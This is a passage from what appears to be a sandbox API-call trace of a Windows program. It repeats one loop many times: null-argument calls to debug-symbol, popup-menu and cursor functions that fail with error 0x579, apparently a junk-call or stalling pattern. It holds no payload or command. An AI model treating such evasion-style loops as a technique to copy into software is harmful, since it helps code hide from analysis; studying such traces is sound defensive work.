returned 0 [0185.612] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.612] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.612] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.612] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.613] GetLastError () returned 0x579 [0185.613] SetLastError (dwErrCode=0x579) [0185.613] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.613] SymCleanup (hProcess=0x0) returned 0 [0185.613] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.613] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.613] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.613] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=295, param_4=372, param_5=0x0, param_6=0x0) returned 0 [0185.613] GetLastError () returned 0x579 [0185.613] SetLastError (dwErrCode=0x579) [0185.613] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.613] SymCleanup (hProcess=0x0) returned 0 [0185.613] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.613] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.613] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.613] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.613] GetLastError () returned 0x579 [0185.613] SetLastError (dwErrCode=0x579) [0185.613] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.613] SymCleanup (hProcess=0x0) returned 0 [0185.613] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.613] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.613] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.613] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.613] GetLastError () returned 0x579 [0185.614] SetLastError (dwErrCode=0x579) [0185.614] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.614] SymCleanup (hProcess=0x0) returned 0 [0185.614] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.614] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.614] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.614] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.614] GetLastError () returned 0x579 [0185.614] SetLastError (dwErrCode=0x579) [0185.614] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.614] SymCleanup (hProcess=0x0) returned 0 [0185.614] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.614] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.614] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.614] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.614] GetLastError () returned 0x579 [0185.615] SetLastError (dwErrCode=0x579) [0185.615] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.615] SymCleanup (hProcess=0x0) returned 0 [0185.615] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.615] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.615] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.615] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=487, param_4=434, param_5=0x0, param_6=0x0) returned 0 [0185.615] GetLastError () returned 0x579 [0185.615] SetLastError (dwErrCode=0x579) [0185.615] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.615] SymCleanup (hProcess=0x0) returned 0 [0185.615] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.615] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.615] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.615] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.615] GetLastError () returned 0x579 [0185.615] SetLastError (dwErrCode=0x579) [0185.615] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.615] SymCleanup (hProcess=0x0) returned 0 [0185.615] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.615] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.615] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.615] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.615] GetLastError () returned 0x579 [0185.616] SetLastError (dwErrCode=0x579) [0185.616] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.616] SymCleanup (hProcess=0x0) returned 0 [0185.616] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.616] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.616] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.616] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.616] GetLastError () returned 0x579 [0185.616] SetLastError (dwErrCode=0x579) [0185.616] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.616] SymCleanup (hProcess=0x0) returned 0 [0185.616] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.616] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.616] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.616] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.616] GetLastError () returned 0x579 [0185.616] SetLastError (dwErrCode=0x579) [0185.616] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.616] SymCleanup (hProcess=0x0) returned 0 [0185.616] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.616] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.616] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.616] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=194, param_4=253, param_5=0x0, param_6=0x0) returned 0 [0185.616] GetLastError () returned 0x579 [0185.616] SetLastError (dwErrCode=0x579) [0185.617] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.617] SymCleanup (hProcess=0x0) returned 0 [0185.617] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.617] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.617] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.617] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.617] GetLastError () returned 0x579 [0185.617] SetLastError (dwErrCode=0x579) [0185.617] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.617] SymCleanup (hProcess=0x0) returned 0 [0185.617] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.617] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.617] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.617] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.617] GetLastError () returned 0x579 [0185.617] SetLastError (dwErrCode=0x579) [0185.617] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.617] SymCleanup (hProcess=0x0) returned 0 [0185.617] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.617] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.617] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.617] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.617] GetLastError () returned 0x579 [0185.617] SetLastError (dwErrCode=0x579) [0185.618] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.618] SymCleanup (hProcess=0x0) returned 0 [0185.618] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.618] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.618] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.618] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.618] GetLastError () returned 0x579 [0185.618] SetLastError (dwErrCode=0x579) [0185.618] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.618] SymCleanup (hProcess=0x0) returned 0 [0185.618] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.618] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.618] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.618] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=76, param_4=494, param_5=0x0, param_6=0x0) returned 0 [0185.618] GetLastError () returned 0x579 [0185.618] SetLastError (dwErrCode=0x579) [0185.618] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.618] SymCleanup (hProcess=0x0) returned 0 [0185.618] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.618] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.618] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.618] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.618] GetLastError () returned 0x579 [0185.618] SetLastError (dwErrCode=0x579) [0185.618] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.619] SymCleanup (hProcess=0x0) returned 0 [0185.619] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.619] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.619] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.619] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.619] GetLastError () returned 0x579 [0185.619] SetLastError (dwErrCode=0x579) [0185.619] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.619] SymCleanup (hProcess=0x0) returned 0 [0185.619] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.619] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.619] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.619] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.619] GetLastError () returned 0x579 [0185.619] SetLastError (dwErrCode=0x579) [0185.619] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.619] SymCleanup (hProcess=0x0) returned 0 [0185.619] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.619] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.619] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.619] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.619] GetLastError () returned 0x579 [0185.619] SetLastError (dwErrCode=0x579) [0185.619] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.620] SymCleanup (hProcess=0x0) returned 0 [0185.620] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.620] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.620] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.620] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=642, param_4=124, param_5=0x0, param_6=0x0) returned 0 [0185.620] GetLastError () returned 0x579 [0185.620] SetLastError (dwErrCode=0x579) [0185.620] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.620] SymCleanup (hProcess=0x0) returned 0 [0185.620] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.620] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.620] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.620] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.620] GetLastError () returned 0x579 [0185.620] SetLastError (dwErrCode=0x579) [0185.620] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.620] SymCleanup (hProcess=0x0) returned 0 [0185.620] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.620] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.620] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.620] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.620] GetLastError () returned 0x579 [0185.620] SetLastError (dwErrCode=0x579) [0185.620] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.620] SymCleanup (hProcess=0x0) returned 0 [0185.621] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.621] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.621] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.621] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.621] GetLastError () returned 0x579 [0185.621] SetLastError (dwErrCode=0x579) [0185.621] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.621] SymCleanup (hProcess=0x0) returned 0 [0185.621] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.621] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.621] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.621] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.621] GetLastError () returned 0x579 [0185.621] SetLastError (dwErrCode=0x579) [0185.621] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.621] SymCleanup (hProcess=0x0) returned 0 [0185.621] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.621] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.621] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.621] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=19, param_4=739, param_5=0x0, param_6=0x0) returned 0 [0185.621] GetLastError () returned 0x579 [0185.621] SetLastError (dwErrCode=0x579) [0185.621] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.621] SymCleanup (hProcess=0x0) returned 0 [0185.621] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.622] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.622] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.622] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.622] GetLastError () returned 0x579 [0185.622] SetLastError (dwErrCode=0x579) [0185.622] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.622] SymCleanup (hProcess=0x0) returned 0 [0185.622] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.622] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.622] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.622] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.622] GetLastError () returned 0x579 [0185.622] SetLastError (dwErrCode=0x579) [0185.622] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.622] SymCleanup (hProcess=0x0) returned 0 [0185.622] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.622] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.622] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.622] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.622] GetLastError () returned 0x579 [0185.622] SetLastError (dwErrCode=0x579) [0185.622] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.622] SymCleanup (hProcess=0x0) returned 0 [0185.622] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.622] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.623] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.623] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.623] GetLastError () returned 0x579 [0185.623] SetLastError (dwErrCode=0x579) [0185.623] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.623] SymCleanup (hProcess=0x0) returned 0 [0185.623] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.623] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.623] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.623] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=281, param_4=871, param_5=0x0, param_6=0x0) returned 0 [0185.623] GetLastError () returned 0x579 [0185.623] SetLastError (dwErrCode=0x579) [0185.623] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.623] SymCleanup (hProcess=0x0) returned 0 [0185.623] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.623] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.623] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.623] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.623] GetLastError () returned 0x579 [0185.623] SetLastError (dwErrCode=0x579) [0185.623] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.623] SymCleanup (hProcess=0x0) returned 0 [0185.623] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.623] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.624] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.624] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.624] GetLastError () returned 0x579 [0185.624] SetLastError (dwErrCode=0x579) [0185.624] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.624] SymCleanup (hProcess=0x0) returned 0 [0185.624] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.624] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.624] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.624] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.624] GetLastError () returned 0x579 [0185.624] SetLastError (dwErrCode=0x579) [0185.624] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.624] SymCleanup (hProcess=0x0) returned 0 [0185.624] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.624] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.624] GetCursorPos (in: lpPoint=0x499d08 | out: 